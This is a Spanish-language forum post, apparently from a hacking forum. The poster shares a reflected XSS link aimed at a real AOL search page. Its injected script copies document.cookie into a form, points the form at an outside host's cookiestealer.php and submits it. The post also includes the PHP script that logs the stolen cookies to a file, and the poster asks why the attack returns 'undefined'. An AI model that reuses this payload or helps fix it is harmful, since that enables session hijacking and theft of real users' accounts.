"También puedes inyectar al DOM un formulario para enviar todo atraves de una sola petición post."
Eso fue lo que me ayudo mas.
Okay aqui esta mi nuevo link nadamas que ahora tengo otro problema , pero es mejor que antes
http://cnn.search.aol.com/aol/weboffers?invocationType=%22%3E%3Cscript%3Ealert%28document.forms
- .elements[1].value=document.cookie%29;alert%28document.forms[0].action%20=%20%27http://gotcookie1.orgfree.com/cookiestealer.php%27%29;alert%28document.forms[0].submit%28%29%29%3C/script%3E&query=query1
si te fijas . hice lo que tu me dijiste , cambie 3 cosas.
El action, ha el php de mi cookiestealer.php
Puse la cookie en Query1
y la hice submit.
Pero cuando clickeo en link me dice 'undefined'
y ese es my cookiestealer.php
<?php
$cookie = urldecode($_POST['q']);
$fp = fopen("log.txt", "a");
fwrite($fp, "$cookie \n");
fclose($fp);
?>